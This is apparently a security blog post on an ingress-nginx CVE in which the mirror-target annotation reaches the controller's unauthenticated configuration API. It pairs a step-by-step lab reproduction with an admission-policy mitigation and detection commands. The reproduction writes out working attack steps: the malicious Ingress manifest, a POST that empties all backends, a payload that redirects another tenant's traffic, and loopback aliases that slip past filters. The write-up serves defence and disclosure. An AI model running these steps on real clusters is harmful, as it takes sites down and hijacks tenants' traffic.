maborak.com~/blog/cve-2026-116472-ingress-nginx-mirror-targetsoftware & infrastructure engineering
Back to all articles

CVE-2026-116472: one Ingress annotation drops all ingress-nginx traffic, and no upstream fix is coming

Overview

Any user who can create an Ingress can point mirror-target at the controller's own configuration API and empty every backend. Reproduced on ingress-nginx v1.15.1, with the two mitigations tested and their side effects.

CVE-2026-116472 lets anyone who can create an Ingress take down every site behind an ingress-nginx controller with a single HTTP request. The mirror-target annotation can point at the controller’s own unauthenticated configuration API on 127.0.0.1:10246, and one mirrored POST with the body [] removes every backend. The Kubernetes project rates it 2.7 (Low) because the attacker needs permission to create Ingresses, and it will not fix it (opens in a new tab): ingress-nginx maintenance ended in March 2026. Only SUSE’s fork has a patch, so everyone else has to mitigate.

If you run ingress-nginx and anyone other than cluster administrators can write Ingresses: apply the admission policy below, then run the two detection commands to find existing Ingresses that already carry the annotation and to check that the controller’s live backend list is intact.

Checked 6 November 2026. Everything below was reproduced [reproduced] on a throwaway kind cluster running the last upstream release, ingress-nginx controller v1.15.1. Statements from the advisory and the SUSE fix are labelled [vendor].

Background

The advisory (opens in a new tab), published on 5 November 2026 at 17:21 UTC and credited to Victor Pereira, says a missing check lets the mirror-target annotation “target an unauthenticated configuration API within the ingress-nginx controller, allowing write commands to be submitted”, which can drop “all traffic through ingress-nginx” until “an Ingress configuration change or a controller restart”. It names two mitigations: an admission controller that rejects the annotation, or annotations-risk-level set to Medium or Low. [vendor]

Three things make this more than a Low in practice:

  • There is no upstream fix. The last upstream releases were controller-v1.15.1, v1.14.5 and v1.13.9 (opens in a new tab) on 19 March 2026, and the repository is archived. The CVE record lists every version as affected. [vendor]
  • The annotation is allowed by default. mirror-target is rated High risk, and the default annotations-risk-level is High (opens in a new tab).
  • “Can create an Ingress” is a common tenant permission. Platforms routinely give each team Ingress rights in its own namespace and nothing else. That is exactly the permission this needs.

SUSE fixed it in its fork, rancher/ingress-nginx (opens in a new tab), released as v1.15.2-prime1 for RKE2. [vendor]

Mechanics

The controller pushes backend lists to nginx over HTTP. The template (opens in a new tab) opens a server on 127.0.0.1:{{ .StatusPort }}, port 10246 by default, with this location and no authentication:

location /configuration {
    client_max_body_size  {{ luaConfigurationRequestBodySize $cfg }};
    proxy_buffering       off;
    content_by_lua_file   /etc/nginx/lua/nginx/ngx_conf_configuration.lua;
}

Its only protection is that it listens on loopback. In configuration.lua (opens in a new tab), POST /configuration/backends stores the raw request body as the backend list, without parsing it:

local backends = fetch_request_body()
...
local success, err = configuration_data:set("backends", backends)

Every second, balancer.lua (opens in a new tab) decodes that value. Invalid JSON is logged and ignored. Valid JSON replaces the live set: every backend not in the new list is deleted.

local new_backends, err = cjson.decode(backends_data)
if not new_backends then
  ngx.log(ngx.ERR, "could not parse backends data: ", err)
  return
end
...
for backend_name, _ in pairs(balancers) do
  if not balancers_to_keep[backend_name] then
    balancers[backend_name] = nil

The mirror-target annotation is validated only as a server name regex (opens in a new tab) and becomes an internal location that nginx proxies from inside the controller pod, request body included unless mirror-request-body is off:

location = "/_mirror-<ingress uid>" {
    internal;
    proxy_set_header Host "127.0.0.1";
    proxy_pass "http://127.0.0.1:10246/configuration/backends";
}

So a request to the attacker’s own host is copied, method and body, to the loopback configuration API. A body of [] empties every backend on the controller.

Impact

Measured in the lab below [reproduced]:

  • Every Ingress on the controller goes down. One POST with body [] to the attacker’s own host turned another namespace’s site into 503, together with every other host. The API then returned [] for the backend list.
  • The outage lasts until the backends change. Traffic stayed at 503 for more than four minutes with nothing touched. An annotation-only edit on the victim’s Ingress did not restore it. An endpoint change (scaling a Deployment) or a controller restart did. The attacker can repeat the request at any time.
  • Traffic can be redirected, quietly. Backend names follow <namespace>-<service>-<port>, so they can be guessed. A POST listing team-a-shop-80 with the attacker’s own pod IP as its endpoint made team-a’s host answer from team-b’s pod. No Ingress names team-a’s host, so a review of Ingress objects shows nothing.
  • Redirection was already possible, as the advisory says. As a control, team-b created a plain Ingress for team-a’s host with an Exact path and no annotation, and ingress-nginx served that path from team-b’s pod. ingress-nginx has no host ownership between namespaces. What the CVE adds is a controller-wide outage, and a redirect that leaves no visible Ingress for the victim’s host.
  • Invalid payloads only add noise. A non-JSON body is stored but ignored, and the controller logs could not parse backends data once per second per worker until the next real update.
  • Blocking “localhost” is not enough. localhost, 127.1, 2130706433 and localtest.me, a public DNS name that resolves to 127.0.0.1, each produced the outage.

Who is exposed: any cluster running upstream ingress-nginx, or a fork without the fix, where someone who is not a cluster administrator can create or edit Ingresses. Clusters where only administrators write Ingresses are exposed to mistakes and to compromised CI credentials, not to tenants.

Probe

The full reproduction, as run on 6 November 2026. Environment: macOS, Docker 29.5.2, kind v0.33.0 with Kubernetes v1.37.0, kubectl v1.37.2, curl, jq, and the upstream kind manifest for controller-v1.15.1 (opens in a new tab) (image digest sha256:594ceea76b01c592858f803f9ff4d2cb40542cae2060410b2c95f75907d659e1). It uses its own kubeconfig file so it cannot touch another cluster. Run it only on a cluster you own; it takes down every Ingress on the controller.

1. Cluster and controller.

mkdir cve-116472 && cd cve-116472
export KUBECONFIG="$PWD/kubeconfig"          # never your real kubeconfig
cat > kind.yaml <<'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: cve-116472
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: InitConfiguration
    nodeRegistration:
      kubeletExtraArgs:
        node-labels: "ingress-ready=true"
  extraPortMappings:
  - {containerPort: 80, hostPort: 18080, listenAddress: "127.0.0.1"}
EOF
kind create cluster --config kind.yaml --kubeconfig "$KUBECONFIG"
kubectl config current-context               # expect: kind-cve-116472
kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/controller-v1.15.1/deploy/static/provider/kind/deploy.yaml
kubectl -n ingress-nginx wait --for=condition=complete job --all --timeout=240s   # webhook certificates
kubectl -n ingress-nginx rollout status deploy/ingress-nginx-controller --timeout=240s

2. Two tenants. Team A runs shop. Team B runs blog, and its developer may manage Ingresses in team-b and nothing else.

cat > tenants.yaml <<'EOF'
apiVersion: v1
kind: Namespace
metadata: {name: team-a}
---
apiVersion: v1
kind: Namespace
metadata: {name: team-b}
---
apiVersion: apps/v1
kind: Deployment
metadata: {name: shop, namespace: team-a}
spec:
  replicas: 1
  selector: {matchLabels: {app: shop}}
  template:
    metadata: {labels: {app: shop}}
    spec:
      containers:
      - {name: app, image: "registry.k8s.io/e2e-test-images/agnhost:2.53", args: ["netexec", "--http-port=8080"]}
---
apiVersion: v1
kind: Service
metadata: {name: shop, namespace: team-a}
spec: {selector: {app: shop}, ports: [{port: 80, targetPort: 8080}]}
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata: {name: shop, namespace: team-a}
spec:
  ingressClassName: nginx
  rules:
  - host: shop.example.test
    http: {paths: [{path: /, pathType: Prefix, backend: {service: {name: shop, port: {number: 80}}}}]}
---
apiVersion: apps/v1
kind: Deployment
metadata: {name: blog, namespace: team-b}
spec:
  replicas: 1
  selector: {matchLabels: {app: blog}}
  template:
    metadata: {labels: {app: blog}}
    spec:
      containers:
      - {name: app, image: "registry.k8s.io/e2e-test-images/agnhost:2.53", args: ["netexec", "--http-port=8080"]}
---
apiVersion: v1
kind: Service
metadata: {name: blog, namespace: team-b}
spec: {selector: {app: blog}, ports: [{port: 80, targetPort: 8080}]}
---
apiVersion: v1
kind: ServiceAccount
metadata: {name: dev, namespace: team-b}
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata: {name: ingress-editor, namespace: team-b}
rules:
- {apiGroups: ["networking.k8s.io"], resources: ["ingresses"], verbs: ["get", "list", "create", "update", "patch", "delete"]}
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata: {name: dev-ingress-editor, namespace: team-b}
subjects: [{kind: ServiceAccount, name: dev, namespace: team-b}]
roleRef: {apiGroup: rbac.authorization.k8s.io, kind: Role, name: ingress-editor}
EOF
kubectl apply -f tenants.yaml
kubectl -n team-a rollout status deploy/shop; kubectl -n team-b rollout status deploy/blog
DEV=system:serviceaccount:team-b:dev
kubectl auth can-i create ingresses -n team-b --as=$DEV     # yes
kubectl auth can-i create ingresses -n team-a --as=$DEV     # no
shop() { curl -s -o /dev/null -w "%{http_code}\n" -H "Host: shop.example.test" http://127.0.0.1:18080/hostname; }
shop                                                         # 200

3. The attack, as team B’s developer.

cat > attacker-ingress.yaml <<'EOF'
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: blog
  namespace: team-b
  annotations:
    nginx.ingress.kubernetes.io/mirror-target: "http://127.0.0.1:10246/configuration/backends"
spec:
  ingressClassName: nginx
  rules:
  - host: blog.example.test
    http: {paths: [{path: /, pathType: Prefix, backend: {service: {name: blog, port: {number: 80}}}}]}
EOF
kubectl apply -f attacker-ingress.yaml --as=$DEV
sleep 8
curl -s -o /dev/null -w "%{http_code}\n" -H "Host: blog.example.test" \
     -X POST -H 'Content-Type: application/json' --data '[]' http://127.0.0.1:18080/
sleep 3
shop                                                         # 503
kubectl -n ingress-nginx exec deploy/ingress-nginx-controller -- \
  curl -s http://127.0.0.1:10246/configuration/backends      # []

Our output: shop went from 200 to 503, the POST itself returned 200, and the backend list read []. Restore with kubectl -n ingress-nginx rollout restart deploy/ingress-nginx-controller.

4. The redirect. With traffic restored, send a two-entry list that points team A’s backend at team B’s pod:

BLOG_IP=$(kubectl -n team-b get pod -l app=blog -o jsonpath='{.items[0].status.podIP}')
curl -s -o /dev/null -H "Host: blog.example.test" -X POST -H 'Content-Type: application/json' \
  --data "[{\"name\":\"team-a-shop-80\",\"endpoints\":[{\"address\":\"$BLOG_IP\",\"port\":\"8080\"}]},
           {\"name\":\"team-b-blog-80\",\"endpoints\":[{\"address\":\"$BLOG_IP\",\"port\":\"8080\"}]}]" \
  http://127.0.0.1:18080/
sleep 3
curl -s -H "Host: shop.example.test" http://127.0.0.1:18080/hostname   # prints the blog pod's name

In this lab the administrator’s kubeconfig reads the pod IP; an attacker’s own application can read it from its network interface.

What this proves: on upstream v1.15.1 with default settings, a namespace-scoped Ingress permission is enough to take down or redirect every Ingress on the controller. It does not show behaviour on forks, on controllers started with a non-default --status-port, or with mirror-request-body: "off".

Mitigation

There is no upstream release to install. In order of preference:

1. Run a fixed controller, if you can. SUSE’s patch makes every mirror location send X-Ingress-Nginx-Mirror: 1 and makes the configuration API answer 403 to any request carrying it, so a mirrored copy can no longer write. It also validates payloads, but that part alone would not stop this attack: [] passes its check for “an array of named backends”. We read the fix (opens in a new tab) but did not run it, because the image is only in SUSE’s subscription registry. [vendor] Moving off ingress-nginx altogether removes this and every later unfixed issue.

2. Reject the annotation at admission. This is the mitigation we recommend for most clusters. A ValidatingAdmissionPolicy (GA since Kubernetes 1.30) needs no extra components:

# Reject Ingresses that set mirror-target or mirror-host (CVE-2026-116472).
# Namespaces labelled ingress.example/mirror-allowed=true are exempt; give that label only
# to namespaces whose Ingress authors you would also trust with the controller itself.
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicy
metadata:
  name: deny-ingress-nginx-mirror
spec:
  failurePolicy: Fail
  matchConstraints:
    resourceRules:
    - apiGroups: ["networking.k8s.io"]
      apiVersions: ["v1"]
      operations: ["CREATE", "UPDATE"]
      resources: ["ingresses"]
  validations:
  - expression: >-
      !has(object.metadata.annotations) ||
      !object.metadata.annotations.exists(k,
        k.endsWith('/mirror-target') || k.endsWith('/mirror-host'))
    message: "mirror-target and mirror-host are not allowed (CVE-2026-116472)"
    reason: Forbidden
---
apiVersion: admissionregistration.k8s.io/v1
kind: ValidatingAdmissionPolicyBinding
metadata:
  name: deny-ingress-nginx-mirror
spec:
  policyName: deny-ingress-nginx-mirror
  validationActions: ["Deny"]
  matchResources:
    namespaceSelector:
      matchExpressions:
      - {key: ingress.example/mirror-allowed, operator: NotIn, values: ["true"]}

It matches on the end of the key, so it also covers controllers started with a custom --annotations-prefix. It rejects the annotation outright rather than looking for loopback addresses, because, as shown above, there are too many ways to write 127.0.0.1. Two things it does not do: it does not touch Ingresses that already exist, and it does not repair a controller that has already been hit. Run the detection below after applying it.

3. Lower annotations-risk-level to Medium. In the controller’s ConfigMap:

kubectl -n ingress-nginx patch configmap ingress-nginx-controller --type merge \
  -p '{"data":{"annotations-risk-level":"Medium"}}'
kubectl -n ingress-nginx rollout restart deploy/ingress-nginx-controller

This works, with two side effects we measured. The restart is required: without it, an existing Ingress with mirror-target stayed exploitable after the change, while new ones were already refused by the webhook. And an existing Ingress that uses any High-risk annotation is dropped entirely, with all its routes: team B’s whole site returned 404. At v1.15.1 the High-risk annotations (opens in a new tab) are auth-url, auth-signin, auth-tls-error-page, auth-tls-match-cn, mirror-host, mirror-target, modsecurity-transaction-id, proxy-ssl-name, server-alias and upstream-hash-by. Any Ingress protected by an external authentication proxy through auth-url goes down. Check for those before choosing this option.

4. Restrict who can write Ingresses. If tenants do not need to create their own Ingresses, remove the permission and publish Ingresses through a reviewed pipeline. That closes this and the host-collision redirect above.

After an attack, restart the controller: kubectl -n ingress-nginx rollout restart deploy/ingress-nginx-controller. The controller re-sends the full backend list on start.

Verification

Find Ingresses that carry the annotation:

kubectl get ingress -A -o json | jq -r '.items[] | .metadata as $m
  | ($m.annotations // {}) | to_entries[]
  | select(.key | test("/mirror-(target|host)$"))
  | [$m.namespace, $m.name, .key, .value] | @tsv'

In the lab, before cleanup, it printed:

team-b	blog	nginx.ingress.kubernetes.io/mirror-target	http://127.0.0.1:10246/configuration/backends

Check what nginx is actually serving, not what the Ingress objects say. A count of 0, or a list missing services you run, means the backends have been overwritten:

kubectl -n ingress-nginx exec deploy/ingress-nginx-controller -- \
  curl -s http://127.0.0.1:10246/configuration/backends | jq -r 'length, (map(.name) | join(" "))'

It printed 0 while the lab was under attack, and the full list (team-a-shop-80 team-b-blog-80 upstream-default-backend) on a healthy controller. The controller logging could not parse backends data repeatedly is a sign of a failed or probing attempt.

Confirm the policy is enforcing, as a user with Ingress rights. A server-side dry run goes through admission without creating anything; re-applying an unchanged object does not, because kubectl sends no write:

kubectl -n team-b create ingress vap-test --class=nginx --rule="vap.example.test/*=blog:80" \
  --annotation=nginx.ingress.kubernetes.io/mirror-target=http://127.0.0.1:10246/configuration/backends \
  --dry-run=server --as=system:serviceaccount:team-b:dev
# error: failed to create ingress: ingresses.networking.k8s.io "vap-test" is forbidden:
#   ValidatingAdmissionPolicy 'deny-ingress-nginx-mirror' with binding 'deny-ingress-nginx-mirror'
#   denied request: mirror-target and mirror-host are not allowed (CVE-2026-116472)

The same command without --annotation should print ingress.networking.k8s.io/vap-test created (server dry run).

Confirm no mirror locations remain in the running configuration. The command prints the number of matches, and exits non-zero when there are none:

kubectl -n ingress-nginx exec deploy/ingress-nginx-controller -- grep -c '_mirror' /etc/nginx/nginx.conf

In the lab, after the annotation was removed and the controller restarted, the count was 0 and the attack request no longer affected shop.

Remove the lab with kind delete cluster --name cve-116472.

Sources

Back to all articles

Technologies we work with

  • Argo CD
  • Kubernetes
  • Docker
  • Podman
  • Ansible
  • Jenkins
  • Chef
  • Proxmox VE
  • Google Cloud
  • Linux
  • Red Hat
  • CentOS
  • NGINX
  • Apache
  • Traefik
  • Prometheus
  • Grafana
  • PostgreSQL
  • MySQL
  • MariaDB
  • Redis
  • etcd
  • Qdrant
  • Elasticsearch
  • Logstash
  • Kibana
  • PagerDuty
  • Go
  • Python
  • FastAPI
  • PHP
  • TypeScript
  • React